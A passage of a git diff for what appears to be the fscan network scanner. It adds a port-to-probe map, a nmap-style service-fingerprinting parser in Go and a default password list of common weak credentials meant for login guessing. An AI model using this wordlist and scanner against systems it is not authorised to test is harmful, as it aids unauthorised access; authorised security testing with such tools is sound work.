9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, + 10000: {"GetRequest", "HTTPOptions", "RTSPRequest"}, + 10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"}, + 10002: {"ZendJavaBridge", "SharpTV"}, + 10003: {"ZendJavaBridge"}, + 10005: {"GetRequest"}, + 10031: {"HTTPOptions"}, + 10098: {"JavaRMI"}, + 10099: {"JavaRMI"}, + 10162: {"JavaRMI"}, + 10333: {"teamtalk-login"}, + 10443: {"GetRequest", "SSLSessionReq"}, + 10990: {"JavaRMI"}, + 11001: {"JavaRMI"}, + 11099: {"JavaRMI"}, + 11210: {"couchbase-data"}, + 11211: {"Memcache"}, + 11333: {"JavaRMI"}, + 11371: {"GenericLines", "GetRequest"}, + 11711: {"LDAPSearchReq"}, + 11712: {"LDAPSearchReq"}, + 11965: {"GenericLines"}, + 12000: {"JavaRMI"}, + 12345: {"Help", "OfficeScan"}, + 13013: {"GetRequest", "JavaRMI"}, + 13666: {"GetRequest"}, + 13720: {"GenericLines"}, + 13722: {"GetRequest"}, + 13783: {"DNSVersionBindReqTCP"}, + 14000: {"JavaRMI"}, + 14238: {"oracle-tns"}, + 14443: {"GetRequest", "SSLSessionReq"}, + 14534: {"GetRequest"}, + 14690: {"Help"}, + 15000: {"GenericLines", "GetRequest", "JavaRMI"}, + 15001: {"GenericLines", "JavaRMI"}, + 15002: {"GenericLines", "SSLSessionReq"}, + 15200: {"JavaRMI"}, + 16000: {"JavaRMI"}, + 17007: {"RPCCheck"}, + 17200: {"JavaRMI"}, + 17988: {"GetRequest"}, + 18086: {"GenericLines"}, + 18182: {"SMBProgNeg"}, + 18264: {"GetRequest"}, + 18980: {"JavaRMI"}, + 19150: {"GenericLines", "gkrellm"}, + 19350: {"LPDString"}, + 19700: {"kumo-server"}, + 19800: {"kumo-server"}, + 20000: {"JavaRMI", "oracle-tns"}, + 20547: {"proconos"}, + 22001: {"NotesRPC"}, + 22490: {"Help"}, + 23791: {"JavaRMI"}, + 25565: {"minecraft-ping"}, + 26214: {"GenericLines"}, + 26256: {"JavaRMI"}, + 26470: {"GenericLines"}, + 27000: {"SMBProgNeg"}, + 27001: {"SMBProgNeg"}, + 27002: {"SMBProgNeg"}, + 27003: {"SMBProgNeg"}, + 27004: {"SMBProgNeg"}, + 27005: {"SMBProgNeg"}, + 27006: {"SMBProgNeg"}, + 27007: {"SMBProgNeg"}, + 27008: {"SMBProgNeg"}, + 27009: {"SMBProgNeg"}, + 27010: {"SMBProgNeg"}, + 27017: {"mongodb"}, + 27036: {"TLS-PSK"}, + 30444: {"GenericLines"}, + 31099: {"JavaRMI"}, + 31337: {"GetRequest", "SIPOptions"}, + 31416: {"GenericLines"}, + 32211: {"LPDString"}, + 32750: {"RPCCheck"}, + 32751: {"RPCCheck"}, + 32752: {"RPCCheck"}, + 32753: {"RPCCheck"}, + 32754: {"RPCCheck"}, + 32755: {"RPCCheck"}, + 32756: {"RPCCheck"}, + 32757: {"RPCCheck"}, + 32758: {"RPCCheck"}, + 32759: {"RPCCheck"}, + 32760: {"RPCCheck"}, + 32761: {"RPCCheck"}, + 32762: {"RPCCheck"}, + 32763: {"RPCCheck"}, + 32764: {"RPCCheck"}, + 32765: {"RPCCheck"}, + 32766: {"RPCCheck"}, + 32767: {"RPCCheck"}, + 32768: {"RPCCheck"}, + 32769: {"RPCCheck"}, + 32770: {"RPCCheck"}, + 32771: {"RPCCheck"}, + 32772: {"RPCCheck"}, + 32773: {"RPCCheck"}, + 32774: {"RPCCheck"}, + 32775: {"RPCCheck"}, + 32776: {"RPCCheck"}, + 32777: {"RPCCheck"}, + 32778: {"RPCCheck"}, + 32779: {"RPCCheck"}, + 32780: {"RPCCheck"}, + 32781: {"RPCCheck"}, + 32782: {"RPCCheck"}, + 32783: {"RPCCheck"}, + 32784: {"RPCCheck"}, + 32785: {"RPCCheck"}, + 32786: {"RPCCheck"}, + 32787: {"RPCCheck"}, + 32788: {"RPCCheck"}, + 32789: {"RPCCheck"}, + 32790: {"RPCCheck"}, + 32791: {"RPCCheck"}, + 32792: {"RPCCheck"}, + 32793: {"RPCCheck"}, + 32794: {"RPCCheck"}, + 32795: {"RPCCheck"}, + 32796: {"RPCCheck"}, + 32797: {"RPCCheck"}, + 32798: {"RPCCheck"}, + 32799: {"RPCCheck"}, + 32800: {"RPCCheck"}, + 32801: {"RPCCheck"}, + 32802: {"RPCCheck"}, + 32803: {"RPCCheck"}, + 32804: {"RPCCheck"}, + 32805: {"RPCCheck"}, + 32806: {"RPCCheck"}, + 32807: {"RPCCheck"}, + 32808: {"RPCCheck"}, + 32809: {"RPCCheck"}, + 32810: {"RPCCheck"}, + 32913: {"JavaRMI"}, + 33000: {"JavaRMI"}, + 33015: {"tarantool"}, + 34012: {"GenericLines"}, + 37435: {"HTTPOptions"}, + 37718: {"JavaRMI"}, + 38978: {"RPCCheck"}, + 40193: {"GetRequest"}, + 41523: {"DNSStatusRequestTCP"}, + 44443: {"GetRequest", "SSLSessionReq"}, + 45230: {"JavaRMI"}, + 47001: {"JavaRMI"}, + 47002: {"JavaRMI"}, + 49152: {"FourOhFourRequest"}, + 49153: {"mongodb"}, + 49400: {"HTTPOptions"}, + 50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"}, + 50001: {"ibm-db2"}, + 50002: {"ibm-db2"}, + 50003: {"ibm-db2"}, + 50004: {"ibm-db2"}, + 50005: {"ibm-db2"}, + 50006: {"ibm-db2"}, + 50007: {"ibm-db2"}, + 50008: {"ibm-db2"}, + 50009: {"ibm-db2"}, + 50010: {"ibm-db2"}, + 50011: {"ibm-db2"}, + 50012: {"ibm-db2"}, + 50013: {"ibm-db2"}, + 50014: {"ibm-db2"}, + 50015: {"ibm-db2"}, + 50016: {"ibm-db2"}, + 50017: {"ibm-db2"}, + 50018: {"ibm-db2"}, + 50019: {"ibm-db2"}, + 50020: {"ibm-db2"}, + 50021: {"ibm-db2"}, + 50022: {"ibm-db2"}, + 50023: {"ibm-db2"}, + 50024: {"ibm-db2"}, + 50025: {"ibm-db2"}, + 50050: {"JavaRMI"}, + 50500: {"JavaRMI"}, + 50501: {"JavaRMI"}, + 50502: {"JavaRMI"}, + 50503: {"JavaRMI"}, + 50504: {"JavaRMI"}, + 50505: {"metasploit-msgrpc"}, + 51234: {"teamspeak-tcpquery-ver"}, + 55552: {"metasploit-msgrpc"}, + 55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"}, + 55555: {"GetRequest"}, + 56667: {"GenericLines"}, + 59100: {"kumo-server"}, + 60000: {"ibm-db2", "drda"}, + 60001: {"ibm-db2"}, + 60002: {"ibm-db2"}, + 60003: {"ibm-db2"}, + 60004: {"ibm-db2"}, + 60005: {"ibm-db2"}, + 60006: {"ibm-db2"}, + 60007: {"ibm-db2"}, + 60008: {"ibm-db2"}, + 60009: {"ibm-db2"}, + 60010: {"ibm-db2"}, + 60011: {"ibm-db2"}, + 60012: {"ibm-db2"}, + 60013: {"ibm-db2"}, + 60014: {"ibm-db2"}, + 60015: {"ibm-db2"}, + 60016: {"ibm-db2"}, + 60017: {"ibm-db2"}, + 60018: {"ibm-db2"}, + 60019: {"ibm-db2"}, + 60020: {"ibm-db2"}, + 60021: {"ibm-db2"}, + 60022: {"ibm-db2"}, + 60023: {"ibm-db2"}, + 60024: {"ibm-db2"}, + 60025: {"ibm-db2"}, + 60443: {"GetRequest", "SSLSessionReq"}, + 61613: {"HELP4STOMP"}, +} + var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} var Outputfile = "result.txt" diff --git a/Common/Log.go b/Common/Log.go index a15ba29..867647d 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -195,6 +195,27 @@ func LogSuccess(result string) { } } +func LogDebug(msg string) { + if ProgressBar != nil { + ProgressBar.Clear() + } + + entry := &LogEntry{ + Level: LogLevelDebug, + Time: time.Now(), + Content: msg, + } + + printLog(entry) + if fileWriter != nil { + fileWriter.write(entry) + } + + if ProgressBar != nil { + ProgressBar.RenderBlank() + } +} + func newBufferedFileWriter() *bufferedFileWriter { file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { diff --git a/Core/PortFinger.go b/Core/PortFinger.go new file mode 100644 index 0000000..a735620 --- /dev/null +++ b/Core/PortFinger.go @@ -0,0 +1,877 @@ +package Core + +import ( + _ "embed" + "encoding/hex" + "fmt" + "github.com/shadow1ng/fscan/Common" + "regexp" + "strconv" + "strings" +) + +//go:embed nmap-service-probes.txt +var ProbeString string + +var v VScan // 改为VScan类型而不是指针 + +type VScan struct { + Exclude string + AllProbes []Probe + UdpProbes []Probe + Probes []Probe + ProbesMapKName map[string]Probe +} + +type Probe struct { + Name string // 探测器名称 + Data string // 探测数据 + Protocol string // 协议 + Ports string // 端口范围 + SSLPorts string // SSL端口范围 + + TotalWaitMS int // 总等待时间 + TCPWrappedMS int // TCP包装等待时间 + Rarity int // 稀有度 + Fallback string // 回退探测器名称 + + Matchs *[]Match // 匹配规则列表 +} + +type Match struct { + IsSoft bool // 是否为软匹配 + Service string // 服务名称 + Pattern string // 匹配模式 + VersionInfo string // 版本信息格式 + FoundItems []string // 找到的项目 + PatternCompiled *regexp.Regexp // 编译后的正则表达式 +} + +type Directive struct { + DirectiveName string + Flag string + Delimiter string + DirectiveStr string +} + +type Extras struct { + VendorProduct string + Version string + Info string + Hostname string + OperatingSystem string + DeviceType string + CPE string +} + +func init() { + Common.LogDebug("开始初始化全局变量") + + v = VScan{} // 直接初始化VScan结构体 + v.Init() + + // 获取并检查 NULL 探测器 + if nullProbe, ok := v.ProbesMapKName["NULL"]; ok { + Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data))) + null = &nullProbe + } else { + Common.LogDebug("警告: 未找到NULL探测器") + } + + // 获取并检查 GenericLines 探测器 + if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok { + Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data))) + common = &commonProbe + } else { + Common.LogDebug("警告: 未找到GenericLines探测器") + } + + Common.LogDebug("全局变量初始化完成") +} + +// 解析指令语法,返回指令结构 +func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { + Common.LogDebug("开始解析指令语法,输入数据: " + data) + + directive = Directive{} + // 查找第一个空格的位置 + blankIndex := strings.Index(data, " ") + if blankIndex == -1 { + Common.LogDebug("未找到空格分隔符") + return directive + } + + // 解析各个字段 + directiveName := data[:blankIndex] + Flag := data[blankIndex+1 : blankIndex+2] + delimiter := data[blankIndex+2 : blankIndex+3] + directiveStr := data[blankIndex+3:] + + directive.DirectiveName = directiveName + directive.Flag = Flag + directive.Delimiter = delimiter + directive.DirectiveStr = directiveStr + + Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s", + directiveName, Flag, delimiter, directiveStr)) + + return directive +} + +// 解析探测器信息 +func (p *Probe) parseProbeInfo(probeStr string) { + Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr) + + // 提取协议和其他信息 + proto := probeStr[:4] + other := probeStr[4:] + + // 验证协议类型 + if !(proto == "TCP " || proto == "UDP ") { + errMsg := "探测器协议必须是 TCP 或 UDP" + Common.LogDebug("错误: " + errMsg) + panic(errMsg) + } + + // 验证其他信息不为空 + if len(other) == 0 { + errMsg := "nmap-service-probes - 探测器名称无效" + Common.LogDebug("错误: " + errMsg) + panic(errMsg) + } + + // 解析指令 + directive := p.getDirectiveSyntax(other) + + // 设置探测器属性 + p.Name = directive.DirectiveName + p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0] + p.Protocol = strings.ToLower(strings.TrimSpace(proto)) + + Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s", + p.Name, p.Data, p.Protocol)) +} + +// 从字符串解析探测器信息 +func (p *Probe) fromString(data string) error { + Common.LogDebug("开始解析探测器字符串数据") + var err error + + // 预处理数据 + data = strings.TrimSpace(data) + lines := strings.Split(data, "\n") + if len(lines) == 0 { + return fmt.Errorf("输入数据为空") + } + + probeStr := lines[0] + p.parseProbeInfo(probeStr) + + // 解析匹配规则和其他配置 + var matchs []Match + for _, line := range lines { + Common.LogDebug("处理行: " + line) + switch { + case strings.HasPrefix(line, "match "): + match, err := p.getMatch(line) + if err != nil { + Common.LogDebug("解析match失败: " + err.Error()) + continue + } + matchs = append(matchs, match) + + case strings.HasPrefix(line, "softmatch "): + softMatch, err := p.getSoftMatch(line) + if err != nil { + Common.LogDebug("解析softmatch失败: " + err.Error()) + continue + } + matchs = append(matchs, softMatch) + + case strings.HasPrefix(line, "ports "): + p.parsePorts(line) + + case strings.HasPrefix(line, "sslports "): + p.parseSSLPorts(line) + + case strings.HasPrefix(line, "totalwaitms "): + p.parseTotalWaitMS(line) + + case strings.HasPrefix(line, "tcpwrappedms "): + p.parseTCPWrappedMS(line) + + case strings.HasPrefix(line, "rarity "): + p.parseRarity(line) + + case strings.HasPrefix(line, "fallback "): + p.parseFallback(line) + } + } + p.Matchs = &matchs + Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs))) + return err +} + +// 解析端口配置 +func (p *Probe) parsePorts(data string) { + p.Ports = data[len("ports")+1:] + Common.LogDebug("解析端口: " + p.Ports) +} + +// 解析SSL端口配置 +func (p *Probe) parseSSLPorts(data string) { + p.SSLPorts = data[len("sslports")+1:] + Common.LogDebug("解析SSL端口: " + p.SSLPorts) +} + +// 解析总等待时间 +func (p *Probe) parseTotalWaitMS(data string) { + waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:])) + if err != nil { + Common.LogDebug("解析总等待时间失败: " + err.Error()) + return + } + p.TotalWaitMS = waitMS + Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS)) +} + +// 解析TCP包装等待时间 +func (p *Probe) parseTCPWrappedMS(data string) { + wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:])) + if err != nil { + Common.LogDebug("解析TCP包装等待时间失败: " + err.Error()) + return + } + p.TCPWrappedMS = wrappedMS + Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS)) +} + +// 解析稀有度 +func (p *Probe) parseRarity(data string) { + rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:])) + if err != nil { + Common.LogDebug("解析稀有度失败: " + err.Error()) + return + } + p.Rarity = rarity + Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity)) +} + +// 解析回退配置 +func (p *Probe) parseFallback(data string) { + p.Fallback = data[len("fallback")+1:] + Common.LogDebug("回退配置: " + p.Fallback) +} + +// 判断是否为十六进制编码 +func isHexCode(b []byte) bool { + matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`) + return matchRe.Match(b) +} + +// 判断是否为八进制编码 +func isOctalCode(b []byte) bool { + matchRe := regexp.MustCompile(`\\[0-7]{1,3}`) + return matchRe.Match(b) +} + +// 判断是否为结构化转义字符 +func isStructCode(b []byte) bool { + matchRe := regexp.MustCompile(`\\[aftnrv]`) + return matchRe.Match(b) +} + +// 判断是否为正则表达式特殊字符 +func isReChar(n int64) bool { + reChars := `.*?+{}()^$|\` + for _, char := range reChars { + if n == int64(char) { + return true + } + } + return false +} + +// 判断是否为其他转义序列 +func isOtherEscapeCode(b []byte) bool { + matchRe := regexp.MustCompile(`\\[^\\]`) + return matchRe.Match(b) +} + +// 从内容解析探测器规则 +func (v *VScan) parseProbesFromContent(content string) { + Common.LogDebug("开始解析探测器规则文件内容") + var probes []Probe + var lines []string + + // 过滤注释和空行 + linesTemp := strings.Split(content, "\n") + for _, lineTemp := range linesTemp { + lineTemp = strings.TrimSpace(lineTemp) + if lineTemp == "" || strings.HasPrefix(lineTemp, "#") { + continue + } + lines = append(lines, lineTemp) + } + + // 验证文件内容 + if len(lines) == 0 { + errMsg := "读取nmap-service-probes文件失败: 内容为空" + Common.LogDebug("错误: " + errMsg) + panic(errMsg) + } + + // 检查Exclude指令 + excludeCount := 0 + for _, line := range lines { + if strings.HasPrefix(line, "Exclude ") { + excludeCount++ + } + if excludeCount > 1 { + errMsg := "nmap-service-probes文件中只允许有一个Exclude指令" + Common.LogDebug("错误: " + errMsg) + panic(errMsg) + } + } + + // 验证第一行格式 + firstLine := lines[0] + if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) { + errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" + Common.LogDebug("错误: " + errMsg) + panic(errMsg) + } + + // 处理Exclude指令 + if excludeCount == 1 { + v.Exclude = firstLine[len("Exclude")+1:] + lines = lines[1:] + Common.LogDebug("解析到Exclude规则: " + v.Exclude) + } + + // 合并内容并分割探测器 + content = "\n" + strings.Join(lines, "\n") + probeParts := strings.Split(content, "\nProbe")[1:] + + // 解析每个探测器 + for _, probePart := range probeParts { + probe := Probe{} + if err := probe.fromString(probePart); err != nil { + Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err)) + continue + } + probes = append(probes, probe) + } + + v.AllProbes = probes + Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes))) +} + +// 将探测器转换为名称映射 +func (v *VScan) parseProbesToMapKName() { + Common.LogDebug("开始构建探测器名称映射") + v.ProbesMapKName = map[string]Probe{} + for _, probe := range v.AllProbes { + v.ProbesMapKName[probe.Name] = probe + Common.LogDebug("添加探测器映射: " + probe.Name) + } +} + +// 设置使用的探测器 +func (v *VScan) SetusedProbes() { + Common.LogDebug("开始设置要使用的探测器") + + for _, probe := range v.AllProbes { + if strings.ToLower(probe.Protocol) == "tcp" { + if probe.Name == "SSLSessionReq" { + Common.LogDebug("跳过 SSLSessionReq 探测器") + continue + } + + v.Probes = append(v.Probes, probe) + Common.LogDebug("添加TCP探测器: " + probe.Name) + + // 特殊处理TLS会话请求 + if probe.Name == "TLSSessionReq" { + sslProbe := v.ProbesMapKName["SSLSessionReq"] + v.Probes = append(v.Probes, sslProbe) + Common.LogDebug("为TLSSessionReq添加SSL探测器") + } + } else { + v.UdpProbes = append(v.UdpProbes, probe) + Common.LogDebug("添加UDP探测器: " + probe.Name) + } + } + + Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个", + len(v.Probes), len(v.UdpProbes))) +} + +// 解析match指令获取匹配规则 +func (p *Probe) getMatch(data string) (match Match, err error) { + Common.LogDebug("开始解析match指令:" + data) + match = Match{} + + // 提取match文本并解析指令语法 + matchText := data[len("match")+1:] + directive := p.getDirectiveSyntax(matchText) + + // 分割文本获取pattern和版本信息 + textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) + if len(textSplited) == 0 { + return match, fmt.Errorf("无效的match指令格式") + } + + pattern := textSplited[0] + versionInfo := strings.Join(textSplited[1:], "") + + // 解码并编译正则表达式 + patternUnescaped, decodeErr := DecodePattern(pattern) + if decodeErr != nil { + Common.LogDebug("解码pattern失败: " + decodeErr.Error()) + return match, decodeErr + } + + patternUnescapedStr := string([]rune(string(patternUnescaped))) + patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) + if compileErr != nil { + Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) + return match, compileErr + } + + // 设置match对象属性 + match.Service = directive.DirectiveName + match.Pattern = pattern + match.PatternCompiled = patternCompiled + match.VersionInfo = versionInfo + + Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s", + match.Service, match.Pattern)) + return match, nil +} + +// 解析softmatch指令获取软匹配规则 +func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) { + Common.LogDebug("开始解析softmatch指令:" + data) + softMatch = Match{IsSoft: true} + + // 提取softmatch文本并解析指令语法 + matchText := data[len("softmatch")+1:] + directive := p.getDirectiveSyntax(matchText) + + // 分割文本获取pattern和版本信息 + textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) + if len(textSplited) == 0 { + return softMatch, fmt.Errorf("无效的softmatch指令格式") + } + + pattern := textSplited[0] + versionInfo := strings.Join(textSplited[1:], "") + + // 解码并编译正则表达式 + patternUnescaped, decodeErr := DecodePattern(pattern) + if decodeErr != nil { + Common.LogDebug("解码pattern失败: " + decodeErr.Error()) + return softMatch, decodeErr + } + + patternUnescapedStr := string([]rune(string(patternUnescaped))) + patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) + if compileErr != nil { + Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) + return softMatch, compileErr + } + + // 设置softMatch对象属性 + softMatch.Service = directive.DirectiveName + softMatch.Pattern = pattern + softMatch.PatternCompiled = patternCompiled + softMatch.VersionInfo = versionInfo + + Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s", + softMatch.Service, softMatch.Pattern)) + return softMatch, nil +} + +// 解码模式字符串,处理转义序列 +func DecodePattern(s string) ([]byte, error) { + Common.LogDebug("开始解码pattern: " + s) + sByteOrigin := []byte(s) + + // 处理十六进制、八进制和结构化转义序列 + matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`) + sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) { + var replace []byte + + // 处理十六进制转义 + if isHexCode(match) { + hexNum := match[2:] + byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32) + if isReChar(byteNum) { + replace = []byte{'\\', uint8(byteNum)} + } else { + replace = []byte{uint8(byteNum)} + } + } + + // 处理结构化转义字符 + if isStructCode(match) { + structCodeMap := map[int][]byte{ + 97: []byte{0x07}, // \a 响铃 + 102: []byte{0x0c}, // \f 换页 + 116: []byte{0x09}, // \t 制表符 + 110: []byte{0x0a}, // \n 换行 + 114: []byte{0x0d}, // \r 回车 + 118: []byte{0x0b}, // \v 垂直制表符 + } + replace = structCodeMap[int(match[1])] + } + + // 处理八进制转义 + if isOctalCode(match) { + octalNum := match[2:] + byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32) + replace = []byte{uint8(byteNum)} + } + return replace + }) + + // 处理其他转义序列 + matchRe2 := regexp.MustCompile(`\\([^\\])`) + sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) { + if isOtherEscapeCode(match) { + return match + } + return match + }) + + Common.LogDebug("pattern解码完成") + return sByteDec2, nil +} + +// ProbesRarity 用于按稀有度排序的探测器切片 +type ProbesRarity []Probe + +// Len 返回切片长度,实现 sort.Interface 接口 +func (ps ProbesRarity) Len() int { + return len(ps) +} + +// Swap 交换切片中的两个元素,实现 sort.Interface 接口 +func (ps ProbesRarity) Swap(i, j int) { + ps[i], ps[j] = ps[j], ps[i] +} + +// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口 +func (ps ProbesRarity) Less(i, j int) bool { + return ps[i].Rarity < ps[j].Rarity +} + +// Target 定义目标结构体 +type Target struct { + IP string // 目标IP地址 + Port int // 目标端口 + Protocol string // 协议类型 +} + +// ContainsPort 检查指定端口是否在探测器的端口范围内 +func (p *Probe) ContainsPort(testPort int) bool { + Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports)) + + // 检查单个端口 + ports := strings.Split(p.Ports, ",") + for _, port := range ports { + port = strings.TrimSpace(port) + cmpPort, err := strconv.Atoi(port) + if err == nil && testPort == cmpPort { + Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort)) + return true + } + } + + // 检查端口范围 + for _, port := range ports { + port = strings.TrimSpace(port) + if strings.Contains(port, "-") { + portRange := strings.Split(port, "-") + if len(portRange) != 2 { + Common.LogDebug("无效的端口范围格式: " + port) + continue + } + + start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0])) + end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1])) + + if err1 != nil || err2 != nil { + Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port)) + continue + } + + if testPort >= start && testPort <= end { + Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end)) + return true + } + } + } + + Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort)) + return false +} + +// MatchPattern 使用正则表达式匹配响应内容 +func (m *Match) MatchPattern(response []byte) bool { + // 将响应转换为字符串并进行匹配 + responseStr := string([]rune(string(response))) + foundItems := m.PatternCompiled.FindStringSubmatch(responseStr) + + if len(foundItems) > 0 { + m.FoundItems = foundItems + Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems))) + return true + } + + return false +} + +// ParseVersionInfo 解析版本信息并返回额外信息结构 +func (m *Match) ParseVersionInfo(response []byte) Extras { + Common.LogDebug("开始解析版本信息") + var extras = Extras{} + + // 替换版本信息中的占位符 + foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项 + versionInfo := m.VersionInfo + for index, value := range foundItems { + dollarName := "$" + strconv.Itoa(index+1) + versionInfo = strings.Replace(versionInfo, dollarName, value, -1) + } + Common.LogDebug("替换后的版本信息: " + versionInfo) + + // 定义解析函数 + parseField := func(field, pattern string) string { + patterns := []string{ + pattern + `/([^/]*)/`, // 斜线分隔 + pattern + `\|([^|]*)\|`, // 竖线分隔 + } + + for _, p := range patterns { + if strings.Contains(versionInfo, pattern) { + regex := regexp.MustCompile(p) + if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 { + Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1])) + return matches[1] + } + } + } + return "" + } + + // 解析各个字段 + extras.VendorProduct = parseField("厂商产品", " p") + extras.Version = parseField("版本", " v") + extras.Info = parseField("信息", " i") + extras.Hostname = parseField("主机名", " h") + extras.OperatingSystem = parseField("操作系统", " o") + extras.DeviceType = parseField("设备类型", " d") + + // 特殊处理CPE + if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") { + cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`} + for _, pattern := range cpePatterns { + regex := regexp.MustCompile(pattern) + if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 { + if len(cpeName) > 1 { + extras.CPE = cpeName[1] + } else { + extras.CPE = cpeName[0] + } + Common.LogDebug("解析到CPE: " + extras.CPE) + break + } + } + } + + return extras +} + +// ToMap 将 Extras 转换为 map[string]string +func (e *Extras) ToMap() map[string]string { + Common.LogDebug("开始转换Extras为Map") + result := make(map[string]string) + + // 定义字段映射 + fields := map[string]string{ + "vendor_product": e.VendorProduct, + "version": e.Version, + "info": e.Info, + "hostname": e.Hostname, + "os": e.OperatingSystem, + "device_type": e.DeviceType, + "cpe": e.CPE, + } + + // 添加非空字段到结果map + for key, value := range fields { + if value != "" { + result[key] = value + Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value)) + } + } + + Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result))) + return result +} + +func DecodeData(s string) ([]byte, error) { + if len(s) == 0 { + Common.LogDebug("输入数据为空") + return nil, fmt.Errorf("empty input") + } + + Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s)) + sByteOrigin := []byte(s) + + // 处理十六进制、八进制和结构化转义序列 + matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`) + sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte { + // 处理十六进制转义 + if isHexCode(match) { + hexNum := match[2:] + byteNum, err := strconv.ParseInt(string(hexNum), 16, 32) + if err != nil { + return match + } + return []byte{uint8(byteNum)} + } + + // 处理结构化转义字符 + if isStructCode(match) { + structCodeMap := map[int][]byte{ + 97: []byte{0x07}, // \a 响铃 + 102: []byte{0x0c}, // \f 换页 + 116: []byte{0x09}, // \t 制表符 + 110: []byte{0x0a}, // \n 换行 + 114: []byte{0x0d}, // \r 回车 + 118: []byte{0x0b}, // \v 垂直制表符 + } + if replace, ok := structCodeMap[int(match[1])]; ok { + return replace + } + return match + } + + // 处理八进制转义 + if isOctalCode(match) { + octalNum := match[2:] + byteNum, err := strconv.ParseInt(string(octalNum), 8, 32) + if err != nil { + return match + } + return []byte{uint8(byteNum)} + } + + Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match))) + return match + }) + + // 处理其他转义序列 + matchRe2 := regexp.MustCompile(`\\([^\\])`) + sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte { + if len(match) < 2 { + return match + } + if isOtherEscapeCode(match) { + return []byte{match[1]} + } + return match + }) + + if len(sByteDec2) == 0 { + Common.LogDebug("解码后数据为空") + return nil, fmt.Errorf("decoded data is empty") + } + + Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2)) + return 